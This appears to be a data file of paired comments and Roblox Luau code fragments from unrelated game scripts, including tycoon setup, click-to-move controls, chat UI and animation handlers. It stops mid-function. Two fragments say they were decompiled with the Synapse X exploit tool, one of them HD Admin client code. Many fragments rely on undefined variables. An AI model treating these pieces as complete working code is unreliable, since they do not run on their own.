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-- Decompiled with the Synapse X Luau decompiler.
|
game["Run Service"].RenderStepped:Connect(function()
script.Parent.Position = UDim2.fromScale(1 + math.random(-5, 5) / 100, 0.5 + math.random(-100, 100) / 100);
end);
|
--[[**
DEPRECATED
Please use t.literal
**--]]
|
t.exactly = t.literal
|
--[=[
@within Shake
@prop FadeOutTime number
How long it takes for the shake to fade out, measured in seconds.
Defaults to `1`.
]=]
| |
--run this first so if there is a 'white' team it is switched over
|
if not Settings['AutoAssignTeams'] then
local teamHire = Instance.new('Team', Teams)
teamHire.TeamColor = BC.new('White')
teamHire.Name = "For Hire"
end
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
if returnColorTaken(v.TeamColor) then
--//Handle duplicate team colors
local newColor;
repeat
wait()
newColor = BC.Random()
until returnColorTaken(newColor) == false
v.TeamColor.Value = newColor
end
--Now that there are for sure no duplicates, make your teams
local NewTeam = Instance.new('Team',Teams)
NewTeam.Name = v.Name
NewTeam.TeamColor = v.TeamColor.Value
if not Settings['AutoAssignTeams'] then
NewTeam.AutoAssignable = false
end
--v.PurchaseHandler.Disabled = false
end
function getPlrTycoon(player)
for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
if v:IsA("Model") then
if v.Owner.Value == player then
return v
end
end
end
return nil
end
game.Players.PlayerAdded:connect(function(player)
local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney)
plrStats.Name = player.Name
local isOwner = Instance.new("ObjectValue",plrStats)
isOwner.Name = "OwnsTycoon"
end)
game.Players.PlayerRemoving:connect(function(player)
wait(2)
local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
if plrStats ~= nil then
plrStats:Destroy()
end
local tycoon = getPlrTycoon(player)
if tycoon then
local backup = Tycoons[tycoon.Name]:Clone()
tycoon:Destroy()
wait()
backup.Parent=script.Parent.Tycoons
end
end)
|
-- TODO: Only require itemId. Category can be looked up with getCategoryForItemId now that we assume itemIds are unique across categories
|
local function getItemByIdInCategory(itemId: string, category: ItemCategory.EnumType)
local item
local container = ContainerByCategory[category]
assert(container, string.format("Attempt to get item with invalid category `%s`", category))
item = container:FindFirstChild(itemId)
assert(item, string.format("Attempt to get item in category `%s` with invalid itemId `%s`", category, itemId))
return item :: Model
end
return getItemByIdInCategory
|
--[[ Initialization ]]
|
--
if not UserInputService.TouchEnabled then -- TODO: Remove when safe!
initialize()
if isShiftLockMode() then
ContextActionService:BindActionToInputTypes("ToggleShiftLock", mouseLockSwitchFunc, false, Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift)
IsActionBound = true
end
end
return ShiftLockController
|
--// G-Force Meter V1 by Itzt
|
local plr = game.Players.LocalPlayer
repeat wait() until plr.Character
|
-- Adds numParts more parts to the cache.
|
function PartCacheStatic:Expand(numParts: number): ()
assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("Expand", "PartCache.new"))
if numParts == nil then
numParts = self.ExpansionSize
end
for i = 1, numParts do
table.insert(self.Open, MakeFromTemplate(self.Template, self.CurrentCacheParent))
end
end
|
--A data-saving function. SetAsync takes ten seconds to run,
--so the player will have to stay ten seconds after
|
function SaveData(Player)
local Items = {}
for i,Item in ipairs(Player.Backpack:GetChildren()) do
if game.ServerStorage:FindFirstChild(Item.Name) ~= nil then
if game.ServerStorage[Item.Name]:IsA("Tool") then
table.insert(Items, Item.Name)
end
end
end
PlayersItems:SetAsync(Player.UserId, Items)
end
|
-- Default options
|
Options = {
DisallowLocked = false
}
|
--Make sure this script is inside a body of a car that you want to be destructible.
--Also this is mostly meant for cars which are made out of parts.
|
local Body = script.Parent
local BreakSpeed = 30
for _,Part in ipairs(Body:GetDescendants()) do
if Part:IsA("BasePart") then
Part.Touched:Connect(function(hit)
local velocity = Part.Velocity.Magnitude -- Get the speed of the car
local collisionforce = GetImpactVelocity(Part,hit)
local h = hit.Parent:findFirstChild("Humanoid") or hit.Parent.Parent:findFirstChild("Humanoid")
if collisionforce > BreakSpeed and h == nil then
Part:BreakJoints()
Part.Massless = true
Part.CanTouch = false
-- you can make so that a sound plays, or an effect appears etc...
game:GetService("Debris"):AddItem(Part,10)
end
end)
end
end
function GetImpactVelocity(part, Other)
--dont touch this
local pVelocity = part.Velocity
local oVelocity = Other.Velocity
local pRoundedVelocity = Vector3.new(math.floor(pVelocity.X), math.floor(pVelocity.Y), math.floor(pVelocity.Z))
local oRoundedVelocity = Vector3.new(math.floor(oVelocity.X), math.floor(oVelocity.Y), math.floor(oVelocity.Z))
local impactForce = Vector3.new(pRoundedVelocity.X - oRoundedVelocity.X, pRoundedVelocity.Y - oRoundedVelocity.Y, pRoundedVelocity.Z - oRoundedVelocity.Z)
impactForce = Vector3.new(math.abs(impactForce.X), math.abs(impactForce.Y), math.abs(impactForce.Z))
local speed = math.max(impactForce.X, impactForce.Y, impactForce.Z)
return speed
end
|
-- @Description Return a true copy of the table.
-- @Arg1 Table
|
function Basic.CopyTable(Tbl)
local Copy = {}
for i,v in pairs(Tbl) do
if type(v) == "table" then
Copy[i] = Basic.CopyTable(v)
else
Copy[i] = v
end
end
return Copy
end
|
--[[**
ensures value is a number where value > 0
@returns A function that will return true iff the condition is passed
**--]]
|
t.numberPositive = t.numberMinExclusive(0)
|
-- if Input.KeyCode == Enum.KeyCode.Z then
-- if Equipped and Holding.Value == "None" and not CS:HasTag(Char, "Z") and not CS:HasTag(Char, "Busy") then
-- SkillsHandler:FireServer("Skill", "Hold", "Z")
-- end
-- end
--end)
| |
--[[
Returns first value (success), and packs all following values.
]]
|
local function packResult(success, ...)
return success, select("#", ...), { ... }
end
local function makeErrorHandler(traceback)
assert(traceback ~= nil, "No traceback")
return function(err)
-- If the error object is already a table, forward it directly.
-- Should we extend the error here and add our own trace?
if type(err) == "table" then
return err
end
return Error.new({
error = err,
kind = Error.Kind.ExecutionError,
trace = debug.traceback(tostring(err), 2),
context = "Promise created at:\n\n" .. traceback,
})
end
end
|
--------------------------------------------------------
|
local RegenTime = 1 --Change this to how long it takes the plane to regen
local WaitTime = 0 --Change this to how much time you have to wait before you can regen another plane
|
--[[ The ClickToMove Controller Class ]]
|
--
local KeyboardController = require(script.Parent:WaitForChild("Keyboard"))
local ClickToMove = setmetatable({}, KeyboardController)
ClickToMove.__index = ClickToMove
function ClickToMove.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove)
self.fingerTouches = {}
self.numUnsunkTouches = 0
-- PC simulation
self.mouse1Down = tick()
self.mouse1DownPos = Vector2.new()
self.mouse2DownTime = tick()
self.mouse2DownPos = Vector2.new()
self.mouse2UpTime = tick()
self.keyboardMoveVector = ZERO_VECTOR3
self.tapConn = nil
self.inputBeganConn = nil
self.inputChangedConn = nil
self.inputEndedConn = nil
self.humanoidDiedConn = nil
self.characterChildAddedConn = nil
self.onCharacterAddedConn = nil
self.characterChildRemovedConn = nil
self.renderSteppedConn = nil
self.menuOpenedConnection = nil
self.running = false
self.wasdEnabled = false
return self
end
function ClickToMove:DisconnectEvents()
DisconnectEvent(self.tapConn)
DisconnectEvent(self.inputBeganConn)
DisconnectEvent(self.inputChangedConn)
DisconnectEvent(self.inputEndedConn)
DisconnectEvent(self.humanoidDiedConn)
DisconnectEvent(self.characterChildAddedConn)
DisconnectEvent(self.onCharacterAddedConn)
DisconnectEvent(self.renderSteppedConn)
DisconnectEvent(self.characterChildRemovedConn)
DisconnectEvent(self.menuOpenedConnection)
end
function ClickToMove:OnTouchBegan(input, processed)
if self.fingerTouches[input] == nil and not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
self.fingerTouches[input] = processed
end
function ClickToMove:OnTouchChanged(input, processed)
if self.fingerTouches[input] == nil then
self.fingerTouches[input] = processed
if not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
end
end
function ClickToMove:OnTouchEnded(input, processed)
if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
self.numUnsunkTouches = self.numUnsunkTouches - 1
end
self.fingerTouches[input] = nil
end
function ClickToMove:OnCharacterAdded(character)
self:DisconnectEvents()
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
end
-- Cancel path when you use the keyboard controls if wasd is enabled.
if self.wasdEnabled and processed == false and input.UserInputType == Enum.UserInputType.Keyboard
and movementKeys[input.KeyCode] then
CleanupPath()
if FFlagUserClickToMoveFollowPathRefactor then
ClickToMoveDisplay.CancelFailureAnimation()
end
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
self.mouse1DownTime = tick()
self.mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2DownTime = tick()
self.mouse2DownPos = input.Position
end
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
end
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2UpTime = tick()
local currPos = input.Position
-- We allow click to move during path following or if there is no keyboard movement
local allowed
if FFlagUserClickToMoveFollowPathRefactor then
allowed = ExistingPather or self.keyboardMoveVector.Magnitude <= 0
else
allowed = self.moveVector.Magnitude <= 0
end
if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and allowed then
local positions = {currPos}
OnTap(positions)
end
end
end)
self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions, nil, true)
end
end)
self.menuOpenedConnection = GuiService.MenuOpened:Connect(function()
CleanupPath()
end)
local function OnCharacterChildAdded(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
DisconnectEvent(self.humanoidDiedConn)
self.humanoidDiedConn = child.Died:Connect(function()
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator.Model, 1)
end
end)
end
end
self.characterChildAddedConn = character.ChildAdded:Connect(function(child)
OnCharacterChildAdded(child)
end)
self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
function ClickToMove:Start()
self:Enable(true)
end
function ClickToMove:Stop()
self:Enable(false)
end
function ClickToMove:CleanupPath()
CleanupPath()
end
function ClickToMove:Enable(enable, enableWASD, touchJumpController)
if enable then
if not self.running then
if Player.Character then -- retro-listen
self:OnCharacterAdded(Player.Character)
end
self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
self.running = true
end
self.touchJumpController = touchJumpController
if self.touchJumpController then
self.touchJumpController:Enable(self.jumpEnabled)
end
else
if self.running then
self:DisconnectEvents()
CleanupPath()
-- Restore tool activation on shutdown
if UserInputService.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
self.running = false
end
if self.touchJumpController and not self.jumpEnabled then
self.touchJumpController:Enable(true)
end
self.touchJumpController = nil
end
-- Extension for initializing Keyboard input as this class now derives from Keyboard
if UserInputService.KeyboardEnabled and enable ~= self.enabled then
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
if enable then
self:BindContextActions()
self:ConnectFocusEventListeners()
else
self:UnbindContextActions()
self:DisconnectFocusEventListeners()
end
end
self.wasdEnabled = enable and enableWASD or false
self.enabled = enable
end
function ClickToMove:OnRenderStepped(dt)
if not FFlagUserClickToMoveFollowPathRefactor then
return
end
-- Reset jump
self.isJumping = false
-- Handle Pather
if ExistingPather then
-- Let the Pather update
ExistingPather:OnRenderStepped(dt)
-- If we still have a Pather, set the resulting actions
if ExistingPather then
-- Setup move (NOT relative to camera)
self.moveVector = ExistingPather.NextActionMoveDirection
self.moveVectorIsCameraRelative = false
-- Setup jump (but do NOT prevent the base Keayboard class from requesting jumps as well)
if ExistingPather.NextActionJump then
self.isJumping = true
end
else
self.moveVector = self.keyboardMoveVector
self.moveVectorIsCameraRelative = true
end
else
self.moveVector = self.keyboardMoveVector
self.moveVectorIsCameraRelative = true
end
-- Handle Keyboard's jump
if self.jumpRequested then
self.isJumping = true
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__HDAdminMain__2 = _G.HDAdminMain;
l__HDAdminMain__2.chatting = false;
l__HDAdminMain__2.userInputService.TextBoxFocused:connect(function()
l__HDAdminMain__2.chatting = true;
end);
l__HDAdminMain__2.userInputService.TextBoxFocusReleased:connect(function()
l__HDAdminMain__2.chatting = false;
end);
local u1 = nil;
local u2 = nil;
local u3 = Enum.UserInputType.MouseButton1;
local l__Enum_UserInputType_Touch__4 = Enum.UserInputType.Touch;
local u5 = nil;
function v1.MakeFrameDraggable(p1, p2)
p2.DragBar.Drag.InputBegan:Connect(function(p3)
if p3.UserInputType == u3 or p3.UserInputType == l__Enum_UserInputType_Touch__4 then
u5 = p2;
u1 = p3.Position;
u2 = p2.Position;
p3.Changed:Connect(function()
if p3.UserInputState == Enum.UserInputState.End then
u5 = nil;
end;
end);
end;
end);
end;
for v3, v4 in pairs({ l__HDAdminMain__2.gui.MainFrame }) do
v1:MakeFrameDraggable(v4);
end;
local u6 = { "laserEyes" };
local u7 = Enum.UserInputType.MouseMovement;
local function u8(p4, p5)
local v5 = p4.Position - u1;
p5.Position = UDim2.new(u2.X.Scale, u2.X.Offset + v5.X, u2.Y.Scale, u2.Y.Offset + v5.Y);
if p5.AbsolutePosition.Y < 0 then
p5.Position = p5.Position + UDim2.new(0, 0, 0, -p5.AbsolutePosition.Y);
end;
end;
local function u9(p6)
l__HDAdminMain__2.lastHitPosition = p6;
for v6, v7 in pairs(u6) do
l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v7);
end;
end;
l__HDAdminMain__2.userInputService.InputChanged:Connect(function(p7, p8)
if (p7.UserInputType == u7 or p7.UserInputType == l__Enum_UserInputType_Touch__4) and ((not p8 or u5) and l__HDAdminMain__2.mouseDown) and ((l__HDAdminMain__2.lastHitPosition - p7.Position).magnitude < 150 or l__HDAdminMain__2.device ~= "Mobile") then
if u5 then
u8(p7, u5);
end;
u9(p7.Position);
end;
end);
local l__CmdBar__8 = l__HDAdminMain__2.gui.CmdBar;
l__HDAdminMain__2.movementKeysPressed = {};
local l__TextBox__10 = l__CmdBar__8.SearchFrame.TextBox;
local u11 = {
[Enum.KeyCode.Left] = "Left",
[Enum.KeyCode.Right] = "Right",
[Enum.KeyCode.Up] = "Forwards",
[Enum.KeyCode.Down] = "Backwards",
[Enum.KeyCode.A] = "Left",
[Enum.KeyCode.D] = "Right",
[Enum.KeyCode.W] = "Forwards",
[Enum.KeyCode.S] = "Backwards",
[Enum.KeyCode.Space] = "Up",
[Enum.KeyCode.R] = "Up",
[Enum.KeyCode.Q] = "Down",
[Enum.KeyCode.LeftControl] = "Down",
[Enum.KeyCode.F] = "Down"
};
local u12 = {
[Enum.KeyCode.Left] = true,
[Enum.KeyCode.Right] = true,
[Enum.KeyCode.Up] = true,
[Enum.KeyCode.Down] = true
};
l__HDAdminMain__2.userInputService.InputBegan:Connect(function(p9, p10)
if (p9.UserInputType == u3 or p9.UserInputType == l__Enum_UserInputType_Touch__4) and ((not p10 or u5) and not l__HDAdminMain__2.mouseDown) then
l__HDAdminMain__2.mouseDown = true;
u9(p9.Position);
elseif not l__HDAdminMain__2.chatting or l__CmdBar__8.Visible and #l__TextBox__10.Text < 2 then
local v9 = u11[p9.KeyCode];
if v9 then
table.insert(l__HDAdminMain__2.movementKeysPressed, v9);
elseif p9.KeyCode == Enum.KeyCode.E then
for v10, v11 in pairs(l__HDAdminMain__2.commandSpeeds) do
if l__HDAdminMain__2.commandsActive[v10] then
l__HDAdminMain__2:GetModule("cf"):EndCommand(v10);
else
l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v10);
end;
end;
elseif p9.KeyCode == Enum.KeyCode.Quote or p9.KeyCode == Enum.KeyCode.Semicolon then
l__HDAdminMain__2:GetModule("CmdBar"):ToggleBar(p9.KeyCode);
end;
end;
if u12[p9.KeyCode] then
l__HDAdminMain__2:GetModule("CmdBar"):PressedArrowKey(p9.KeyCode);
end;
end);
l__HDAdminMain__2.userInputService.InputEnded:Connect(function(p11, p12)
local v12 = u11[p11.KeyCode];
if p11.UserInputType == u3 or p11.UserInputType == l__Enum_UserInputType_Touch__4 then
l__HDAdminMain__2.mouseDown = false;
return;
end;
if v12 then
for v13, v14 in pairs(l__HDAdminMain__2.movementKeysPressed) do
if v14 == v12 then
table.remove(l__HDAdminMain__2.movementKeysPressed, v13);
end;
end;
end;
end);
local l__Humanoid__15 = (l__HDAdminMain__2.player.Character or l__HDAdminMain__2.player.CharacterAdded:Wait()):WaitForChild("Humanoid");
local v16 = l__HDAdminMain__2:GetModule("Events");
if l__HDAdminMain__2.device ~= "Computer" then
v16:New("DoubleJumped", l__Humanoid__15).Event:Connect(function()
for v17, v18 in pairs(l__HDAdminMain__2.commandSpeeds) do
if l__HDAdminMain__2.commandsActive[v17] then
l__HDAdminMain__2:GetModule("cf"):EndCommand(v17);
else
l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v17);
end;
end;
end);
end;
return v1;
|
--print("Shot")
|
parts = script.Parent;
ignoreList = {script.Parent}
dealingDamage = 6000
makeRays = false
|
------ VARIABLES ------
|
local folder = script.Parent
local padIsOneDirectional = folder:WaitForChild("OneWay")
local pad1 = folder:WaitForChild("Pad1")
local pad2 = folder:WaitForChild("Pad2")
local bounce = true
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
if emoteNames[currentAnim] == nil then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
|
--[[local Buttons = {EquipButton,CraftButton,RecycleButton};
local function ChangeAction(Button,CustomTime)
CurrentAction = Button.Name;
for _,B in pairs(Buttons) do B.Style = (B==Button and Enum.ButtonStyle.RobloxRoundDefaultButton) or Enum.ButtonStyle.RobloxRoundButton; end;
if Button.Name ~= "Equip" then for _,F in pairs(ActionContainer:GetChildren()) do F.Visible = (F.Name==Button.Name); end; end;
for Frame,Data in pairs(Sizes) do
Frame:TweenSizeAndPosition(
Data[Button].Size,
Data[Button].Position,
Direction,Style,((tonumber(CustomTime)~=nil and CustomTime) or Time)
);
end
end
for _,Button in pairs(Buttons) do
Button.MouseButton1Click:connect(function()
ChangeAction(Button);
end)
end]]
| |
--[[
Grabs devProduct info - cleaner alternative to GetProductInfo. Caches and may potentially yield.
Functions.GetProductInfo(
id, <-- |REQ| ID of devProduct. (w/o link)
)
--]]
|
return function(id)
--- Check cache
if cachedProductInfo[id] == nil then
--- Get product info
local productInfo = _L.Services.MarketplaceService:GetProductInfo(id, Enum.InfoType.Product)
--- Update cache
if productInfo ~= nil then
cachedProductInfo[id] = productInfo
end
--
return productInfo
else
--- Return cache
return cachedProductInfo[id]
end
end
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 50; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.23;
CycleAimZoom = 30; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
-- The maximum distance the can can shoot, this value should never go above 1000
|
local Range = 200
|
-- simple if statements, decides where the Tool will spawn
-- depending on the generated number.
|
if BlockPosition == 1 then
Block.CFrame = Pos1
end
if BlockPosition == 2 then
Block.CFrame = Pos2
end
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
local function CreateGuiObjects()
local BaseFrame = Instance.new("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 1, 0)
BaseFrame.BackgroundTransparency = 1
local Scroller = Instance.new("ScrollingFrame")
Scroller.Selectable = ChatSettings.GamepadNavigationEnabled
Scroller.Name = "Scroller"
Scroller.BackgroundTransparency = 1
Scroller.BorderSizePixel = 0
Scroller.Position = UDim2.new(0, 0, 0, 3)
Scroller.Size = UDim2.new(1, -4, 1, -6)
Scroller.CanvasSize = UDim2.new(0, 0, 0, 0)
Scroller.ScrollBarThickness = module.ScrollBarThickness
Scroller.Active = false
Scroller.Parent = BaseFrame
return BaseFrame, Scroller
end
function methods:Destroy()
self.GuiObject:Destroy()
self.Destroyed = true
end
function methods:SetActive(active)
self.GuiObject.Visible = active
end
function methods:UpdateMessageFiltered(messageData)
local messageObject = nil
local searchIndex = 1
local searchTable = self.MessageObjectLog
while (#searchTable >= searchIndex) do
local obj = searchTable[searchIndex]
if (obj.ID == messageData.ID) then
messageObject = obj
break
end
searchIndex = searchIndex + 1
end
if (messageObject) then
messageObject.UpdateTextFunction(messageData)
self:ReorderAllMessages()
end
end
function methods:AddMessage(messageData)
self:WaitUntilParentedCorrectly()
local messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName)
if messageObject == nil then
return
end
table.insert(self.MessageObjectLog, messageObject)
self:PositionMessageLabelInWindow(messageObject)
end
function methods:AddMessageAtIndex(messageData, index)
local messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName)
if messageObject == nil then
return
end
table.insert(self.MessageObjectLog, index, messageObject)
local wasScrolledToBottom = self:IsScrolledDown()
self:ReorderAllMessages()
if wasScrolledToBottom then
self.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y))
end
end
function methods:RemoveLastMessage()
self:WaitUntilParentedCorrectly()
local lastMessage = self.MessageObjectLog[1]
local posOffset = UDim2.new(0, 0, 0, lastMessage.BaseFrame.AbsoluteSize.Y)
lastMessage:Destroy()
table.remove(self.MessageObjectLog, 1)
for i, messageObject in pairs(self.MessageObjectLog) do
messageObject.BaseFrame.Position = messageObject.BaseFrame.Position - posOffset
end
self.Scroller.CanvasSize = self.Scroller.CanvasSize - posOffset
end
function methods:IsScrolledDown()
local yCanvasSize = self.Scroller.CanvasSize.Y.Offset
local yContainerSize = self.Scroller.AbsoluteWindowSize.Y
local yScrolledPosition = self.Scroller.CanvasPosition.Y
return (yCanvasSize < yContainerSize or
yCanvasSize - yScrolledPosition <= yContainerSize + 5)
end
function min(x, y)
return x < y and x or y
end
function methods:PositionMessageLabelInWindow(messageObject)
self:WaitUntilParentedCorrectly()
local baseFrame = messageObject.BaseFrame
baseFrame.Parent = self.Scroller
baseFrame.Position = UDim2.new(0, 0, 0, self.Scroller.CanvasSize.Y.Offset)
baseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(self.Scroller.AbsoluteSize.X))
if messageObject.BaseMessage then
local trySize = self.Scroller.AbsoluteSize.X
local minTrySize = min(self.Scroller.AbsoluteSize.X - 10, 0)
while not messageObject.BaseMessage.TextFits do
trySize = trySize - 1
if trySize < minTrySize then
break
end
baseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(trySize))
end
end
local isScrolledDown = self:IsScrolledDown()
local add = UDim2.new(0, 0, 0, baseFrame.Size.Y.Offset)
self.Scroller.CanvasSize = self.Scroller.CanvasSize + add
if isScrolledDown then
self.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y))
end
end
function methods:ReorderAllMessages()
self:WaitUntilParentedCorrectly()
--// Reordering / reparenting with a size less than 1 causes weird glitches to happen with scrolling as repositioning happens.
if (self.GuiObject.AbsoluteSize.Y < 1) then return end
local oldCanvasPositon = self.Scroller.CanvasPosition
local wasScrolledDown = self:IsScrolledDown()
self.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0)
for i, messageObject in pairs(self.MessageObjectLog) do
self:PositionMessageLabelInWindow(messageObject)
end
if not wasScrolledDown then
self.Scroller.CanvasPosition = oldCanvasPositon
end
end
function methods:Clear()
for i, v in pairs(self.MessageObjectLog) do
v:Destroy()
end
self.MessageObjectLog = {}
self.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0)
end
function methods:SetCurrentChannelName(name)
self.CurrentChannelName = name
end
function methods:FadeOutBackground(duration)
--// Do nothing
end
function methods:FadeInBackground(duration)
--// Do nothing
end
function methods:FadeOutText(duration)
for i = 1, #self.MessageObjectLog do
if self.MessageObjectLog[i].FadeOutFunction then
self.MessageObjectLog[i].FadeOutFunction(duration, CurveUtil)
end
end
end
function methods:FadeInText(duration)
for i = 1, #self.MessageObjectLog do
if self.MessageObjectLog[i].FadeInFunction then
self.MessageObjectLog[i].FadeInFunction(duration, CurveUtil)
end
end
end
function methods:Update(dtScale)
for i = 1, #self.MessageObjectLog do
if self.MessageObjectLog[i].UpdateAnimFunction then
self.MessageObjectLog[i].UpdateAnimFunction(dtScale, CurveUtil)
end
end
end
|
--[[
Called by expectation terminators to reset modifiers in a statement.
This makes chains like:
expect(5)
.never.to.equal(6)
.to.equal(5)
Work as expected.
]]
|
function Expectation:_resetModifiers()
self.successCondition = true
end
|
-- Debug / Test ray visual options
|
local DEFAULT_DEBUGGER_RAY_DURATION: number = 0.25
|
--- FILE: Utilities.lua
--- DIRECTORY: ReplicatedStorage.SharedModules
--- PURPOSE: General purpose utilities for my games
--- AUTHOR: Nocticide
| |
--[[**
ensures Roblox Rect type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Rect = primitive("Rect")
|
--local soundCoroutine = coroutine.wrap(function()
--while wait(math.random(5,10)) do
--root.Hiss.Pitch = root.Hiss.OriginalPitch.Value+(math.random(-10,10)/100)
--root.Hiss:Play()
--end
--end)
--soundCoroutine()
|
health.Changed:connect(function()
root.Hurt.Pitch = root.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
root.Hurt:Play()
end)
|
-- main program
|
local runService = game:GetService("RunService")
|
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15.
-- Also make sure to not misspell it.
|
local PartToLookAt = "Torso" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead.
local LookBackOnNil = true -- Should the npc look at back straight when player is out of range.
local SearchLoc = {workspace} -- Will get player from these locations
|
-- Variable for RemoteEvent
|
Players.PlayerAdded:Connect(function(player: Player)
local leaderstats = player:FindFirstChild("leaderstats")
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
humanoid.Died:Connect(function()
if humanoid:FindFirstChild("creator") then
local killer = humanoid:FindFirstChild("creator").Value
local killerHumanoid = Utilities:GetHumanoid(killer)
killerHumanoid.Health += 25
killer.leaderstats.Kills.Value += 1
if Utilities:OwnsGamepass(player, Configurations.GamePassIds["Double Cash"]) then
killer.leaderstats.Cash.Value += 10
else
killer.leaderstats.Cash.Value += 5
end
end
end)
end)
end)
|
-- Finds a random position inside of the given part and returns a randomly rotated CFrame at that position
|
local function getRandomCFrameInVolume(partVolume)
-- Calculate the position component of the random CFrame
